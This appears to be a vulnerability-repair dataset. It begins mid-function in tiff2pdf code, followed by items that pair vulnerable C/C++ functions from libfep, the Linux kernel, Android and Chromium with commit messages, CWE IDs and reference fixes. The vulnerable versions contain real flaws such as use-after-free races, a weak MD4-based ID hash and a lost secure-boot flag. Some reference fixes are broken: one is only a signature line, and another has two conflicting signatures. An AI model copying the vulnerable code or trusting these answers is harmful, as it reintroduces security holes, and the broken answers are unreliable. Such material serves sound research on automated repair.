if(t2p->tiff_dataoffset != 0) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if(t2p->pdf_ojpegiflength==0){ inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); t2pReadFile(input, (tdata_t) buffer, t2p->tiff_datasize); t2pSeekFile(input, inputoffset, SEEK_SET); t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } else { inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); bufferoffset = t2pReadFile(input, (tdata_t) buffer, t2p->pdf_ojpegiflength); t2p->pdf_ojpegiflength = 0; t2pSeekFile(input, inputoffset, SEEK_SET); TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp); buffer[bufferoffset++]= 0xff; buffer[bufferoffset++]= 0xdd; buffer[bufferoffset++]= 0x00; buffer[bufferoffset++]= 0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; buffer[bufferoffset++]= (ri>>8) & 0xff; buffer[bufferoffset++]= ri & 0xff; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0 ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } } else { if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); bufferoffset=t2p->pdf_ojpegdatalength; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } if( ! ( (buffer[bufferoffset-1]==0xd9) && (buffer[bufferoffset-2]==0xff) ) ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); #if 0 /* This hunk of code removed code is clearly mis-placed and we are not sure where it should be (if anywhere) */ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with no JPEG File Interchange offset", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); #endif } } #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if (TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if(count > 4) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; } } stripcount=TIFFNumberOfStrips(input); TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); for(i=0;i<stripcount;i++){ if(sbc[i]>max_striplength) max_striplength=sbc[i]; } stripbuffer = (unsigned char*) _TIFFmalloc(max_striplength); if(stripbuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", max_striplength, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } for(i=0;i<stripcount;i++){ striplength=TIFFReadRawStrip(input, i, (tdata_t) stripbuffer, -1); if(!t2p_process_jpeg_strip( stripbuffer, &striplength, buffer, t2p->tiff_datasize, &bufferoffset, i, t2p->tiff_length)){ TIFFError(TIFF2PDF_MODULE, "Can't process JPEG data in input file %s", TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(stripbuffer); _TIFFfree(buffer); return(bufferoffset); } #endif /* ifdef JPEG_SUPPORT */ (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } } else { if(t2p->pdf_sample & T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ sepstripsize=TIFFStripSize(input); sepstripcount=TIFFNumberOfStrips(input); stripsize=sepstripsize*t2p->tiff_samplesperpixel; stripcount=sepstripcount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); samplebuffer = (unsigned char*) _TIFFmalloc(stripsize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } for(i=0;i<stripcount;i++){ samplebufferoffset=0; for(j=0;j<t2p->tiff_samplesperpixel;j++){ read = TIFFReadEncodedStrip(input, i + j*stripcount, (tdata_t) &(samplebuffer[samplebufferoffset]), TIFFmin(sepstripsize, stripsize - samplebufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i + j*stripcount, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; } _TIFFfree(samplebuffer); goto dataready; } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t) buffer, t2p->tiff_datasize * t2p->tiff_samplesperpixel); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; t2p->tiff_datasize *= t2p->tiff_samplesperpixel; } t2p_sample_realize_palette(t2p, buffer); } if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgba_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){ t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){ samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length*4); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } else { buffer=samplebuffer; } if(!TIFFReadRGBAImageOriented( input, t2p->tiff_width, t2p->tiff_length, (uint32*)buffer, ORIENTATION_TOPLEFT, 0)){ TIFFError(TIFF2PDF_MODULE, "Can't use TIFFReadRGBAImageOriented to extract RGB image from %s", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } t2p->tiff_datasize=t2p_sample_abgr_to_rgb( (tdata_t) buffer, t2p->tiff_width*t2p->tiff_length); } if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){ t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned( (tdata_t)buffer, t2p->tiff_width*t2p->tiff_length); } } dataready: t2p_disable(output); TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric); TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample); TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel); TIFFSetField(output, TIFFTAG_IMAGEWIDTH, t2p->tiff_width); TIFFSetField(output, TIFFTAG_IMAGELENGTH, t2p->tiff_length); TIFFSetField(output, TIFFTAG_ROWSPERSTRIP, t2p->tiff_length); TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB); switch(t2p->pdf_compression){ case T2P_COMPRESS_NONE: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE); break; #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4); break; #endif /* ifdef CCITT_SUPPORT */ #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: if(t2p->tiff_photometric==PHOTOMETRIC_YCBCR) { uint16 hor = 0, ver = 0; if (TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &hor, &ver) !=0 ) { if(hor != 0 && ver != 0){ TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, hor, ver); } } if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){ TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp); } } if(TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG)==0){ TIFFError(TIFF2PDF_MODULE, "Unable to use JPEG compression for input %s and output %s", TIFFFileName(input), TIFFFileName(output)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){ TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){ TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW); } } if(t2p->pdf_colorspace & T2P_CS_GRAY){ (void)0; } if(t2p->pdf_colorspace & T2P_CS_CMYK){ (void)0; } if(t2p->pdf_defaultcompressionquality != 0){ TIFFSetField(output, TIFFTAG_JPEGQUALITY, t2p->pdf_defaultcompressionquality); } break; #endif /* ifdef JPEG_SUPPORT */ #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE); if(t2p->pdf_defaultcompressionquality%100 != 0){ TIFFSetField(output, TIFFTAG_PREDICTOR, t2p->pdf_defaultcompressionquality % 100); } if(t2p->pdf_defaultcompressionquality/100 != 0){ TIFFSetField(output, TIFFTAG_ZIPQUALITY, (t2p->pdf_defaultcompressionquality / 100)); } break; #endif /* ifdef ZIP_SUPPORT */ default: break; } t2p_enable(output); t2p->outputwritten = 0; #ifdef JPEG_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_JPEG && t2p->tiff_photometric == PHOTOMETRIC_YCBCR){ bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, stripsize * stripcount); } else #endif /* ifdef JPEG_SUPPORT */ { bufferoffset = TIFFWriteEncodedStrip(output, (tstrip_t)0, buffer, t2p->tiff_datasize); } if (buffer != NULL) { _TIFFfree(buffer); buffer=NULL; } if (bufferoffset == (tsize_t)-1) { TIFFError(TIFF2PDF_MODULE, "Error writing encoded strip to output PDF %s", TIFFFileName(output)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } written = t2p->outputwritten; return(written); }
166,873
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: fep_client_open (const char *address) { FepClient *client; struct sockaddr_un sun; ssize_t sun_len; int retval; if (!address) address = getenv ("LIBFEP_CONTROL_SOCK"); if (!address) return NULL; if (strlen (address) + 1 >= sizeof(sun.sun_path)) { fep_log (FEP_LOG_LEVEL_WARNING, "unix domain socket path too long: %d + 1 >= %d", strlen (address), sizeof (sun.sun_path)); free (address); return NULL; } client = xzalloc (sizeof(FepClient)); client->filter_running = false; client->messages = NULL; memset (&sun, 0, sizeof(struct sockaddr_un)); sun.sun_family = AF_UNIX; #ifdef __linux__ sun.sun_path[0] = '\0'; memcpy (sun.sun_path + 1, address, strlen (address)); sun_len = offsetof (struct sockaddr_un, sun_path) + strlen (address) + 1; #else memcpy (sun.sun_path, address, strlen (address)); sun_len = sizeof (struct sockaddr_un); #endif client->control = socket (AF_UNIX, SOCK_STREAM, 0); if (client->control < 0) { free (client); return NULL; } retval = connect (client->control, (const struct sockaddr *) &sun, sun_len); if (retval < 0) { close (client->control); free (client); return NULL; } return client; } Commit Message: Don't use abstract Unix domain sockets CWE ID: CWE-264
fep_client_open (const char *address) { FepClient *client; struct sockaddr_un sun; ssize_t sun_len; int retval; if (!address) address = getenv ("LIBFEP_CONTROL_SOCK"); if (!address) return NULL; if (strlen (address) + 1 >= sizeof(sun.sun_path)) { fep_log (FEP_LOG_LEVEL_WARNING, "unix domain socket path too long: %d + 1 >= %d", strlen (address), sizeof (sun.sun_path)); free (address); return NULL; } client = xzalloc (sizeof(FepClient)); client->filter_running = false; client->messages = NULL; memset (&sun, 0, sizeof(struct sockaddr_un)); sun.sun_family = AF_UNIX; memcpy (sun.sun_path, address, strlen (address)); sun_len = sizeof (struct sockaddr_un); client->control = socket (AF_UNIX, SOCK_STREAM, 0); if (client->control < 0) { free (client); return NULL; } retval = connect (client->control, (const struct sockaddr *) &sun, sun_len); if (retval < 0) { close (client->control); free (client); return NULL; } return client; }
166,326
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: __u32 secure_ip_id(__be32 daddr) { struct keydata *keyptr; __u32 hash[4]; keyptr = get_keyptr(); /* * Pick a unique starting offset for each IP destination. * The dest ip address is placed in the starting vector, * which is then hashed with random data. */ hash[0] = (__force __u32)daddr; hash[1] = keyptr->secret[9]; hash[2] = keyptr->secret[10]; hash[3] = keyptr->secret[11]; return half_md4_transform(hash, keyptr->secret); } Commit Message: net: Compute protocol sequence numbers and fragment IDs using MD5. Computers have become a lot faster since we compromised on the partial MD4 hash which we use currently for performance reasons. MD5 is a much safer choice, and is inline with both RFC1948 and other ISS generators (OpenBSD, Solaris, etc.) Furthermore, only having 24-bits of the sequence number be truly unpredictable is a very serious limitation. So the periodic regeneration and 8-bit counter have been removed. We compute and use a full 32-bit sequence number. For ipv6, DCCP was found to use a 32-bit truncated initial sequence number (it needs 43-bits) and that is fixed here as well. Reported-by: Dan Kaminsky <[email protected]> Tested-by: Willy Tarreau <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID:
__u32 secure_ip_id(__be32 daddr)
165,764
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: const sp<IMediaPlayerService>& MediaMetadataRetriever::getService() { Mutex::Autolock lock(sServiceLock); if (sService == 0) { sp<IServiceManager> sm = defaultServiceManager(); sp<IBinder> binder; do { binder = sm->getService(String16("media.player")); if (binder != 0) { break; } ALOGW("MediaPlayerService not published, waiting..."); usleep(500000); // 0.5 s } while (true); if (sDeathNotifier == NULL) { sDeathNotifier = new DeathNotifier(); } binder->linkToDeath(sDeathNotifier); sService = interface_cast<IMediaPlayerService>(binder); } ALOGE_IF(sService == 0, "no MediaPlayerService!?"); return sService; } Commit Message: Get service by value instead of reference to prevent a cleared service binder from being used. Bug: 26040840 Change-Id: Ifb5483c55b172d3553deb80dbe27f2204b86ecdb CWE ID: CWE-119
const sp<IMediaPlayerService>& MediaMetadataRetriever::getService() const sp<IMediaPlayerService> MediaMetadataRetriever::getService() { Mutex::Autolock lock(sServiceLock); if (sService == 0) { sp<IServiceManager> sm = defaultServiceManager(); sp<IBinder> binder; do { binder = sm->getService(String16("media.player")); if (binder != 0) { break; } ALOGW("MediaPlayerService not published, waiting..."); usleep(500000); // 0.5 s } while (true); if (sDeathNotifier == NULL) { sDeathNotifier = new DeathNotifier(); } binder->linkToDeath(sDeathNotifier); sService = interface_cast<IMediaPlayerService>(binder); } ALOGE_IF(sService == 0, "no MediaPlayerService!?"); return sService; }
173,912
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: int snd_ctl_add(struct snd_card *card, struct snd_kcontrol *kcontrol) { struct snd_ctl_elem_id id; unsigned int idx; int err = -EINVAL; if (! kcontrol) return err; if (snd_BUG_ON(!card || !kcontrol->info)) goto error; id = kcontrol->id; down_write(&card->controls_rwsem); if (snd_ctl_find_id(card, &id)) { up_write(&card->controls_rwsem); dev_err(card->dev, "control %i:%i:%i:%s:%i is already present\n", id.iface, id.device, id.subdevice, id.name, id.index); err = -EBUSY; goto error; } if (snd_ctl_find_hole(card, kcontrol->count) < 0) { up_write(&card->controls_rwsem); err = -ENOMEM; goto error; } list_add_tail(&kcontrol->list, &card->controls); card->controls_count += kcontrol->count; kcontrol->id.numid = card->last_numid + 1; card->last_numid += kcontrol->count; up_write(&card->controls_rwsem); for (idx = 0; idx < kcontrol->count; idx++, id.index++, id.numid++) snd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_ADD, &id); return 0; error: snd_ctl_free_one(kcontrol); return err; } Commit Message: ALSA: control: Don't access controls outside of protected regions A control that is visible on the card->controls list can be freed at any time. This means we must not access any of its memory while not holding the controls_rw_lock. Otherwise we risk a use after free access. Signed-off-by: Lars-Peter Clausen <[email protected]> Acked-by: Jaroslav Kysela <[email protected]> Cc: <[email protected]> Signed-off-by: Takashi Iwai <[email protected]> CWE ID:
int snd_ctl_add(struct snd_card *card, struct snd_kcontrol *kcontrol) { struct snd_ctl_elem_id id; unsigned int idx; unsigned int count; int err = -EINVAL; if (! kcontrol) return err; if (snd_BUG_ON(!card || !kcontrol->info)) goto error; id = kcontrol->id; down_write(&card->controls_rwsem); if (snd_ctl_find_id(card, &id)) { up_write(&card->controls_rwsem); dev_err(card->dev, "control %i:%i:%i:%s:%i is already present\n", id.iface, id.device, id.subdevice, id.name, id.index); err = -EBUSY; goto error; } if (snd_ctl_find_hole(card, kcontrol->count) < 0) { up_write(&card->controls_rwsem); err = -ENOMEM; goto error; } list_add_tail(&kcontrol->list, &card->controls); card->controls_count += kcontrol->count; kcontrol->id.numid = card->last_numid + 1; card->last_numid += kcontrol->count; count = kcontrol->count; up_write(&card->controls_rwsem); for (idx = 0; idx < count; idx++, id.index++, id.numid++) snd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_ADD, &id); return 0; error: snd_ctl_free_one(kcontrol); return err; }
166,292
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: setup_efi_state(struct boot_params *params, unsigned long params_load_addr, unsigned int efi_map_offset, unsigned int efi_map_sz, unsigned int efi_setup_data_offset) { struct efi_info *current_ei = &boot_params.efi_info; struct efi_info *ei = &params->efi_info; if (!current_ei->efi_memmap_size) return 0; /* * If 1:1 mapping is not enabled, second kernel can not setup EFI * and use EFI run time services. User space will have to pass * acpi_rsdp=<addr> on kernel command line to make second kernel boot * without efi. */ if (efi_enabled(EFI_OLD_MEMMAP)) return 0; ei->efi_loader_signature = current_ei->efi_loader_signature; ei->efi_systab = current_ei->efi_systab; ei->efi_systab_hi = current_ei->efi_systab_hi; ei->efi_memdesc_version = current_ei->efi_memdesc_version; ei->efi_memdesc_size = efi_get_runtime_map_desc_size(); setup_efi_info_memmap(params, params_load_addr, efi_map_offset, efi_map_sz); prepare_add_efi_setup_data(params, params_load_addr, efi_setup_data_offset); return 0; } Commit Message: kexec/uefi: copy secure_boot flag in boot params across kexec reboot Kexec reboot in case secure boot being enabled does not keep the secure boot mode in new kernel, so later one can load unsigned kernel via legacy kexec_load. In this state, the system is missing the protections provided by secure boot. Adding a patch to fix this by retain the secure_boot flag in original kernel. secure_boot flag in boot_params is set in EFI stub, but kexec bypasses the stub. Fixing this issue by copying secure_boot flag across kexec reboot. Signed-off-by: Dave Young <[email protected]> CWE ID: CWE-254
setup_efi_state(struct boot_params *params, unsigned long params_load_addr, unsigned int efi_map_offset, unsigned int efi_map_sz, unsigned int efi_setup_data_offset) { struct efi_info *current_ei = &boot_params.efi_info; struct efi_info *ei = &params->efi_info; if (!current_ei->efi_memmap_size) return 0; /* * If 1:1 mapping is not enabled, second kernel can not setup EFI * and use EFI run time services. User space will have to pass * acpi_rsdp=<addr> on kernel command line to make second kernel boot * without efi. */ if (efi_enabled(EFI_OLD_MEMMAP)) return 0; params->secure_boot = boot_params.secure_boot; ei->efi_loader_signature = current_ei->efi_loader_signature; ei->efi_systab = current_ei->efi_systab; ei->efi_systab_hi = current_ei->efi_systab_hi; ei->efi_memdesc_version = current_ei->efi_memdesc_version; ei->efi_memdesc_size = efi_get_runtime_map_desc_size(); setup_efi_info_memmap(params, params_load_addr, efi_map_offset, efi_map_sz); prepare_add_efi_setup_data(params, params_load_addr, efi_setup_data_offset); return 0; }
168,868
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void ChromeContentRendererClient::RenderThreadStarted() { chrome_observer_.reset(new ChromeRenderProcessObserver()); extension_dispatcher_.reset(new ExtensionDispatcher()); histogram_snapshots_.reset(new RendererHistogramSnapshots()); net_predictor_.reset(new RendererNetPredictor()); spellcheck_.reset(new SpellCheck()); visited_link_slave_.reset(new VisitedLinkSlave()); #if defined(ENABLE_SAFE_BROWSING) phishing_classifier_.reset(safe_browsing::PhishingClassifierFilter::Create()); #endif RenderThread* thread = RenderThread::current(); thread->AddFilter(new DevToolsAgentFilter()); thread->AddObserver(chrome_observer_.get()); thread->AddObserver(extension_dispatcher_.get()); thread->AddObserver(histogram_snapshots_.get()); #if defined(ENABLE_SAFE_BROWSING) thread->AddObserver(phishing_classifier_.get()); #endif thread->AddObserver(spellcheck_.get()); thread->AddObserver(visited_link_slave_.get()); thread->RegisterExtension(extensions_v8::ExternalExtension::Get()); thread->RegisterExtension(extensions_v8::LoadTimesExtension::Get()); thread->RegisterExtension(extensions_v8::SearchBoxExtension::Get()); v8::Extension* search_extension = extensions_v8::SearchExtension::Get(); if (search_extension) thread->RegisterExtension(search_extension); if (CommandLine::ForCurrentProcess()->HasSwitch( switches::kDomAutomationController)) { thread->RegisterExtension(DomAutomationV8Extension::Get()); } if (CommandLine::ForCurrentProcess()->HasSwitch( switches::kEnableIPCFuzzing)) { thread->channel()->set_outgoing_message_filter(LoadExternalIPCFuzzer()); } WebString chrome_ui_scheme(ASCIIToUTF16(chrome::kChromeUIScheme)); WebSecurityPolicy::registerURLSchemeAsDisplayIsolated(chrome_ui_scheme); WebString dev_tools_scheme(ASCIIToUTF16(chrome::kChromeDevToolsScheme)); WebSecurityPolicy::registerURLSchemeAsDisplayIsolated(dev_tools_scheme); WebString internal_scheme(ASCIIToUTF16(chrome::kChromeInternalScheme)); WebSecurityPolicy::registerURLSchemeAsDisplayIsolated(internal_scheme); WebString extension_scheme(ASCIIToUTF16(chrome::kExtensionScheme)); WebSecurityPolicy::registerURLSchemeAsSecure(extension_scheme); } Commit Message: DevTools: move DevToolsAgent/Client into content. BUG=84078 TEST= Review URL: http://codereview.chromium.org/7461019 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@93596 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-20
void ChromeContentRendererClient::RenderThreadStarted() { chrome_observer_.reset(new ChromeRenderProcessObserver()); extension_dispatcher_.reset(new ExtensionDispatcher()); histogram_snapshots_.reset(new RendererHistogramSnapshots()); net_predictor_.reset(new RendererNetPredictor()); spellcheck_.reset(new SpellCheck()); visited_link_slave_.reset(new VisitedLinkSlave()); #if defined(ENABLE_SAFE_BROWSING) phishing_classifier_.reset(safe_browsing::PhishingClassifierFilter::Create()); #endif RenderThread* thread = RenderThread::current(); thread->AddObserver(chrome_observer_.get()); thread->AddObserver(extension_dispatcher_.get()); thread->AddObserver(histogram_snapshots_.get()); #if defined(ENABLE_SAFE_BROWSING) thread->AddObserver(phishing_classifier_.get()); #endif thread->AddObserver(spellcheck_.get()); thread->AddObserver(visited_link_slave_.get()); thread->RegisterExtension(extensions_v8::ExternalExtension::Get()); thread->RegisterExtension(extensions_v8::LoadTimesExtension::Get()); thread->RegisterExtension(extensions_v8::SearchBoxExtension::Get()); v8::Extension* search_extension = extensions_v8::SearchExtension::Get(); if (search_extension) thread->RegisterExtension(search_extension); if (CommandLine::ForCurrentProcess()->HasSwitch( switches::kDomAutomationController)) { thread->RegisterExtension(DomAutomationV8Extension::Get()); } if (CommandLine::ForCurrentProcess()->HasSwitch( switches::kEnableIPCFuzzing)) { thread->channel()->set_outgoing_message_filter(LoadExternalIPCFuzzer()); } WebString chrome_ui_scheme(ASCIIToUTF16(chrome::kChromeUIScheme)); WebSecurityPolicy::registerURLSchemeAsDisplayIsolated(chrome_ui_scheme); WebString dev_tools_scheme(ASCIIToUTF16(chrome::kChromeDevToolsScheme)); WebSecurityPolicy::registerURLSchemeAsDisplayIsolated(dev_tools_scheme); WebString internal_scheme(ASCIIToUTF16(chrome::kChromeInternalScheme)); WebSecurityPolicy::registerURLSchemeAsDisplayIsolated(internal_scheme); WebString extension_scheme(ASCIIToUTF16(chrome::kExtensionScheme)); WebSecurityPolicy::registerURLSchemeAsSecure(extension_scheme); }
170,323
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
